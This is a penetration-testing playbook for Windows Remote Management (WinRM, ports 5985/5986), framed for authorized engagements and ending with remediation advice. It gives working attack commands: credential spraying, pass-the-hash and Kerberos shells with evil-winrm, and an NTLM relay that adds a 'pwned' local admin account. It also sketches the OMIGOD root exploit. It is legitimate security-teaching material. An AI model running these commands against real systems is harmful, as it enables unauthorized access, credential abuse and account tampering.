name: pentesting-winrm description: Testing Windows Remote Management (WinRM / WS-Management) during authorized engagements. WinRM exposes an HTTP(S) SOAP interface for WMI/PowerShell remoting on 5985/tcp (HTTP) and 5986/tcp (HTTPS). Covers service detection with Test-WSMan and netexec, credential validation and brute force, interactive shells with evil-winrm (password, pass-the-hash, Kerberos, certificate auth), command execution, NTLM relay to WS-MAN, and the OMIGOD (CVE-2021-38647) RCE. domain: cybersecurity subdomain: network-services-pentesting tags:
- penetration-testing
- network-services
- winrm
- windows
- lateral-movement
- command-execution version: '1.0' author: xalgorix license: Apache-2.0
Pentesting WinRM (port 5985/5986)
When to Use
- During authorized Windows/AD assessments when 5985 (HTTP) or 5986 (HTTPS) is open
- When you hold valid credentials or an NT hash and want an interactive remote shell
- When testing for NTLM relay opportunities against an unencrypted WinRM (HTTP) listener
- When assessing Azure Linux hosts running OMI (OMIGOD, CVE-2021-38647)
- When validating credentials at scale and checking which grant remote-exec
Quick Enumeration
# Port presence implies WinRM is configured
nmap -p5985,5986 -sV <IP>
# 5985/tcp Microsoft-HTTPAPI ; 5986/tcp is HTTPS
# From Windows: confirm a target is WinRM-configured
Test-WSMan <target-ip> # returns protocol version + wsmid if configured
# netexec / crackmapexec credential check (no interactive shell)
crackmapexec winrm <IP> -u <user> -p <password> -x "whoami"
crackmapexec winrm <IP> -d <Domain> -u <user> -H <HASH> -X '$PSVersionTable'
# Shodan-style discovery
# port:5985 Microsoft-HTTPAPI
Critical: Checks Most Often Missed
- Valid creds ≠ WinRM access — a user must be in the Remote Management Users group (or local admins). Always confirm with
crackmapexec winrmbefore assuming evil-winrm will work; a green(+)with(Pwn3d!)indicates exec. - Unencrypted HTTP listener (5985) → NTLM relay — since impacket 0.11,
ntlmrelayx.pycan relay captured NTLM to WS-MAN/WinRM for SYSTEM-level code execution. Combine with mitm6/Responder coercion. - OMIGOD (CVE-2021-38647) — Azure Linux agents run OMI exposing WS-MAN on 5985/5986; a logic flaw allows unauthenticated RCE as root by omitting the auth header.
- Pass-the-Hash works — evil-winrm authenticates with an NT hash (
-H), no cleartext needed. - Kerberos / certificate auth — evil-winrm 3.x supports
-k/--spn(Kerberos) and--cert-pem/--key-pem(certificate) for NTLM-disabled or cert-required environments. - Brute force locks accounts — WinRM brute forcing increments the bad-password counter; coordinate with the client and prefer validated single attempts.
How to CONFIRM: WinRM is confirmed configured when Test-WSMan returns protocol/wsmid data, or crackmapexec winrm <IP> responds. Remote-exec capability is confirmed by (Pwn3d!) in crackmapexec output or a successful evil-winrm prompt.
Workflow
Step 1: Enumerate (detect + validate)
nmap -p5985,5986 -sV <IP>
Test-WSMan <IP> # from a Windows host
crackmapexec winrm <IP> -u <user> -p <password> # validate creds
Step 2: Authenticate (creds, hash, brute, Kerberos, cert)
# Validate / spray (mind lockout)
crackmapexec winrm <IP> -d <Domain> -u users.txt -p passwords.txt
# Interactive shell with evil-winrm
gem install evil-winrm
evil-winrm -i <IP> -u <user> -p '<password>'
evil-winrm -i <IP> -u <user> -H <NTHASH> # pass-the-hash
# Kerberos (3.x): needs a TGT (kinit) and SPN
RHOST=<IP> evil-winrm -i $RHOST -u <user> -k --spn HTTP/$RHOST
# Certificate auth (3.x)
evil-winrm -i <IP> -c cert.pem -k key.pem -S
Step 3: Exploit / Extract (command execution)
# One-off command exec without a full shell
crackmapexec winrm <IP> -u <user> -p '<pass>' -x "whoami /all"
# PowerShell remoting from Windows
Invoke-Command -ComputerName <host.fqdn> -ScriptBlock {ipconfig /all} [-Credential DOMAIN\user]
Enter-PSSession -ComputerName <host.fqdn> [-Credential DOMAIN\user]
# pypsrp from Linux (CredSSP/Kerberos)
python3 - <<'PY'
from psrp.client import Client
c = Client('<host>', username='DOMAIN\\user', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
PY
Step 4: Post-access / lateral movement
# evil-winrm built-ins: upload/download files, load scripts/binaries
# PS> upload /local/file C:\temp\file
# PS> menu ; invoke-binary <tab> # run in-memory binaries
# Enable WinRM remotely if not configured (needs creds + SMB/WMI)
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
PsExec.exe \\<host> -u DOMAIN\user -p pass -h -d powershell.exe "enable-psremoting -force"
# NTLM relay to WS-MAN (unencrypted HTTP listener) → SYSTEM exec
sudo ntlmrelayx.py -t wsman://<IP> --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
# OMIGOD unauthenticated RCE (Azure OMI, CVE-2021-38647) — authorized targets only
curl http://<IP>:5985/wsman -H 'Content-Type:text/xml' -d '<xml .../>'
Key Concepts
| Concept | Description |
|---|---|
| WinRM / WS-Management | Microsoft SOAP-over-HTTP(S) protocol for remote management, backed by WMI |
| PS Remoting | PowerShell remoting (Enter-PSSession/Invoke-Command) running over WinRM |
| Ports | 5985 (HTTP), 5986 (HTTPS) |
| Remote Management Users | Group whose members may connect via WinRM without being local admin |
| Pass-the-Hash | Authenticating to WinRM with an NT hash via evil-winrm |
| wsmprovhost | Process hosting the remote PowerShell session on the target |
| NTLM relay to WS-MAN | Relaying coerced NTLM auth to a WinRM listener for code execution |
| OMIGOD (CVE-2021-38647) | Unauthenticated root RCE in Azure's OMI WS-MAN endpoint |
Tools & Systems
| Tool | Purpose |
|---|---|
| nmap | Detect 5985/5986 and service banners |
| Test-WSMan | Confirm a target is configured for WinRM |
| netexec / crackmapexec (winrm) | Credential validation, spraying, command execution |
| evil-winrm | Interactive shell with password/PtH/Kerberos/cert auth, file transfer |
| impacket ntlmrelayx.py | Relay NTLM to WS-MAN for SYSTEM exec |
| pypsrp | WinRM/PS-Remoting from Linux (CredSSP, Kerberos) |
| mitm6 / Responder | Coerce authentication to feed the relay |
Common Scenarios
Scenario 1: PtH Interactive Shell
A dumped local admin NT hash is reused: evil-winrm -i <IP> -u Administrator -H <hash> drops an interactive PowerShell shell, confirming lateral movement.
Scenario 2: Remote Management Users Foothold
A low-priv user isn't a local admin but is in Remote Management Users. crackmapexec winrm <IP> -u user -p pass shows (Pwn3d!), and evil-winrm yields a shell for further escalation.
Scenario 3: NTLM Relay to WinRM
An HTTP (5985) listener with no EPA is targeted. mitm6 coerces a victim, and ntlmrelayx.py -t wsman://<IP> relays the auth to add a local admin account.
Scenario 4: OMIGOD on Azure Linux
An Azure VM runs a vulnerable OMI. A crafted WS-MAN request with no auth header executes commands as root (CVE-2021-38647), reported as critical.
Output Format
## WinRM Finding
**Service**: Windows Remote Management (WS-Management)
**Severity**: <Critical|High|Medium>
**Host**: <IP>:5985/5986
**Listener**: <HTTP|HTTPS> **Access**: <none|user|admin/SYSTEM>
### Summary
<What was found: valid creds w/ remote-exec, PtH shell, NTLM relay, OMIGOD>
### Evidence
- Command: <crackmapexec / evil-winrm / ntlmrelayx>
- Output: <(Pwn3d!), shell prompt, relay success, whoami output>
### Access Obtained
| Method | Result |
|--------|--------|
| evil-winrm PtH | PowerShell shell as <user> |
| ntlmrelayx | local admin account created |
### Recommendation
1. Disable the unencrypted HTTP listener; force HTTPS with EPA enabled
2. Restrict Remote Management Users membership to required accounts
3. Patch/remove OMI (>= 1.6.8-1) on Azure Linux and block 5985/5986 from the Internet
4. Enforce strong credentials and monitor Microsoft-Windows-WinRM/Operational (events 91/163/182)
5. Restrict WinRM access to management subnets